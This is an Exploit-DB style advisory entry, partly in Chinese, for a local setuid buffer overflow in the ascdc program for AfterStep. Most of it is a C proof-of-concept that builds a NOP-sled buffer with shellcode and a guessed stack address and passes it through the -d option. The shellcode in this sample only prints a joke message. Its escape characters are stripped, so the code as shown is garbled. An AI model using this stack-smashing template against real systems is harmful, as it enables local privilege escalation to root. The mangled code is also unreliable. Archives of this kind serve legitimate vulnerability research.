https://www.exploit-db.com/exploits/20678
https://www.securityfocus.com/bid/83025
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-183

ascdcAfterstep在运行setuid时存在缓冲区溢出漏洞。本地用户借助超长(1)-d选项，(2)-m选项，或者(3)-f选项提升根特权。

/*
source: http://www.securityfocus.com/bid/2462/info

ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.

A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.

The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges. 
*/

char shellcode[]="xebx15x59x31xc0x31xdbx31xd2xb0"
           "x04xb3x01xb2x50xcdx80x31xc0xb0"
           "x01xcdx80xe8xe6xffxffxff"
           "Would you like to play a game? yx0aStrange, the only winning
move is not to play.x0a";
#define bsize 600
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;
  buff = malloc(bsize);

  addr = get_sp();
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < 600/2; i++)
    buff[i] = 0x90;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
    buff[bsize - 1] = '';
 execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);

}

Rob Malda ascdc 0.3

Afterstep.Org Afterstep 0

来源:XF
名称:ascdc-afterstep-bo
链接:http://xforce.iss.net/static/6204.php
来源:BUGTRAQ
名称:20010308ascdcBufferOverflowVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=98408897106411&w;=2